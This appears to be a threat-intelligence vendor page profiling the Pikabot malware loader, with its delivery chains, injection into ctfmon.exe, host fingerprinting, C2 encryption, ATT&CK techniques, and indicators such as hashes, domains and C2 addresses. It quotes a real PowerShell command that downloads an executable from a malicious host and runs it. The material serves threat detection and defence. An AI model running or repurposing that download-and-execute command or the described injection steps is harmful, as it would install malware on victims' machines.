Loading malware…
Pikabot is a widely deployed malware loader used by malicious actors to deliver follow-on payloads such as Cobalt Strike and ransomware. It has been associated with the loader/dropper ecosystem targeted by Operation Endgame and has been used by threat actors including TA577 and Black Basta; leaked Black Basta chats also referenced mecor as the developer of Pikabot. Reported delivery methods include phishing-driven chains using password-protected ZIP archives containing heavily obfuscated JavaScript, IMG files containing an LNK masquerading as a Word document plus a malicious DLL, and February 2024 campaigns where obfuscated JavaScript handed execution to PowerShell to download and install Pikabot. Elastic observed a February 8 campaign in which phishing emails linked to ZIP archives containing obfuscated JavaScript that used PowerShell Invoke-WebRequest to download a Pikabot loader from gloverstech[.]com, saved as %SYSTEMDRIVE%\Users\Public\Jrdhtjydhjf.exe.
The malware uses staged loading and strong obfuscation. Reported variants include stage 2 payload chunks embedded in the loader .text section, later decrypted and assembled during execution, and steganography-protected embedded data decrypted with AES-CBC after initial XOR operations. In the updated variant analyzed by Elastic, the loader reconstructed the Pikabot core from base64-encoded chunks in the .data section, decrypted chunks with RC4, decompressed them, and injected the core into a suspended ctfmon.exe process using direct syscalls and anti-debugging checks. The core supports post-compromise command-and-control access including command execution, discovery, file and registry modification, and PE or shellcode injection. Pikabot fingerprints victims, generates a victim UUID from system volume number, hostname, and username, and collects host data including username, computer name, processor details, display device data, domain controller information, memory usage, window dimensions, OS version, and process listings. One analyzed sample created mutex {6F70D3AF-34EF-433C-A803-E83654F6FD7C} and terminated on Russian or Ukrainian language systems.
For communications, Pikabot uses base64 encoding together with symmetric encryption to obfuscate C2 traffic. During initial check-in it transmits collected system information encrypted with RC4. Elastic reported an updated core using RC4-plus-byte-swapping network encryption, plaintext runtime configuration in memory, and HTTPS communications over non-standard ports such as 2967 and 2223 with the User-Agent string "Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)". Reported campaign observables include SHA-256 2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b for Opc.zip, SHA-256 ca5fb5814ec62c8f04936740aabe2664b3c7d036203afbd8425cd67cf1f4b79d for grepWinNP3.exe, domains gloverstech[.]com and entrevientos.com[.]ar, and C2 servers 158.220.80[.]167:2967, 139.84.237[.]229:2967, 104.129.55[.]104:2223, and 85.239.243[.]155:5000.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
36 distinct techniques documented for this family, organized by ATT&CK tactic.
TA577, are a Russia-based threat group that have been reported to deliver payloads including Qbot, IcedID, SystemBC, SmokeLoader, Ursnif, and Cobalt Strike in ongoing phishing campaigns since 2020. More recently, they have delivered Pikabot and DarkGate malware.
The content repeatedly describes threat actors and malware being delivered through phishing or spearphishing emails containing malicious attachments such as Microsoft Office documents, PDFs, RAR/ZIP archives, CHM, ISO, IMG, HTA, LNK, and executable files disguised as documents.
In terms of the core bot functionality, it is similar to previous versions: executing commands... Command-line execution with output
showing the next sequence to download and execute PIKABOT’s loader using PowerShell... "powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe"
During the 2016 Ukraine Electric Power Attack, Sandworm Team used the xp_cmdshell command in MS-SQL. During the 2025 Poland Wiper Attacks, the adversaries leveraged PsExec to run cmd.exe commands on multiple victim machines. Numerous malware families and groups are described as using cmd.exe, cmd /c, Windows command shell, or command-line interfaces to execute commands, payloads, reconnaissance, persistence, cleanup, and ransomware actions.
Examples include 'Cobalt Group has used a JavaScript backdoor that is capable of launching cmd.exe to execute shell commands', 'Orz can execute commands with JavaScript', 'Patchwork used JavaScript code and .SCT files on victim machines', and 'Water Curupira Pikabot Distribution installation via JavaScript will launch follow-on commands via cmd.exe.'
The malware utilizes specific NTDLL Zw APIs for a variety of operations, including debugger detection, process creation, and injection... It executes syscalls directly, bypassing conventional API calls
The content repeatedly describes victims being lured into opening malicious attachments, enabling macros, launching installers, clicking embedded files/links, or otherwise directly executing malicious content.
This new campaign on February 8th involved emails with hyperlinks that led to ZIP archive files containing a malicious obfuscated Javascript script.
Sandworm Team leveraged Microsoft Office attachments which contained malicious macros that were automatically executed once the user permitted them... APT29 has used various forms of spearphishing attempting to get a user to open attachments... DarkGate is distributed through phishing links to VBS or MSI objects requiring user interaction for execution.
0x246F Creates file on disk and modifies registry tied to configuration
The loader creates a suspended instance of ctfmon.exe using the ZwCreateUserProcess syscall, a tactic designed to masquerade as a legitimate Windows process.
The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, .lnk files, or .bat files in the Windows Startup folder.
The content repeatedly references malicious shortcut files: e.g., "APT38 has used malicious Word documents and shortcut files," "Bumblebee... opening an ISO file to enable execution of malicious shortcut files and DLLs," and "Mustang Panda distributed malicious LNK objects for user execution."
The loader creates a suspended instance of ctfmon.exe... allocates a large memory region remotely... writes the PIKABOT core... redirects the execution flow from ctfmon.exe to the malicious PIKABOT core by calling the SetContextThread API
The loader creates a suspended instance of ctfmon.exe using the ZwCreateUserProcess syscall, a tactic designed to masquerade as a legitimate Windows process.
The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, .lnk files, or .bat files in the Windows Startup folder.
The content repeatedly references malicious shortcut files: e.g., "APT38 has used malicious Word documents and shortcut files," "Bumblebee... opening an ISO file to enable execution of malicious shortcut files and DLLs," and "Mustang Panda distributed malicious LNK objects for user execution."
The malicious code employs heavy obfuscation, utilizing a technique where a jump ( JMP ) follows each assembly instruction.
Lazarus Group has distributed malicious payloads embedded in PNG files.
To appear authentic, the developer tampered with a legitimate search and replace tool called grepWinNP3.exe
The loader creates a suspended instance of ctfmon.exe... allocates a large memory region remotely... writes the PIKABOT core... redirects the execution flow from ctfmon.exe to the malicious PIKABOT core by calling the SetContextThread API
The content repeatedly describes malware and threat actors decoding, decrypting, deobfuscating, or unpacking payloads, strings, configuration data, commands, and C2 responses prior to execution or use.
Gets the window dimensions using GetWindowRect used to identify sandbox environments
The content repeatedly describes malware and threat actors using commands and APIs such as ipconfig /all, ifconfig, arp -a, route print, nbtstat, netsh, GetAdaptersInfo, and GetIpNetTable to gather IP addresses, MAC addresses, DNS, DHCP, gateways, routing tables, ARP cache, proxy settings, domains, and network adapter/interface details.
Retrieves the name of the user associated with the PIKABOT thread
The next phase involves collecting victim machine information... Retrieves the computer name Gets processor information... Collects current usage around physical and virtual memory... Retrieves Windows OS product information
Gets the window dimensions using GetWindowRect used to identify sandbox environments
Cobian RAT obfuscates communications with the C2 server using Base64 encoding... Daserf uses custom base64 encoding to obfuscate HTTP traffic... Pikabot uses base64 encoding in conjunction with symmetric encryption mechanisms to obfuscate command and control communications.
International law enforcement agencies and their partners have once again joined forces to disrupt and dismantle botnet infrastructure and their operators. | This effort targeted multiple botnets, such as IcedID, Smokeloader, SystemBC, Pikabot, and Bumblebee, as well as their operators.
PIKABOT performs network communication over HTTPS on non-traditional ports (2967, 2223, etc)
As SocGholish, StealC, and Amadey are typically used as droppers or loaders during attacks, they are used to establish access as part of a link in a larger attack chain.
ADVSTORESHELL exfiltrates data over the same channel used for C2... Agrius exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers... numerous malware and groups sent victim data, files, credentials, or host information over existing C2 channels.
34 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
82 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Pikabot2
A malware family in the dropper/loader ecosystem referenced as a prior law-enforcement target.
Loader malware whose infrastructure was targeted in prior Operation Endgame actions.
Named as one of the dropper networks disrupted during Operation Endgame.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.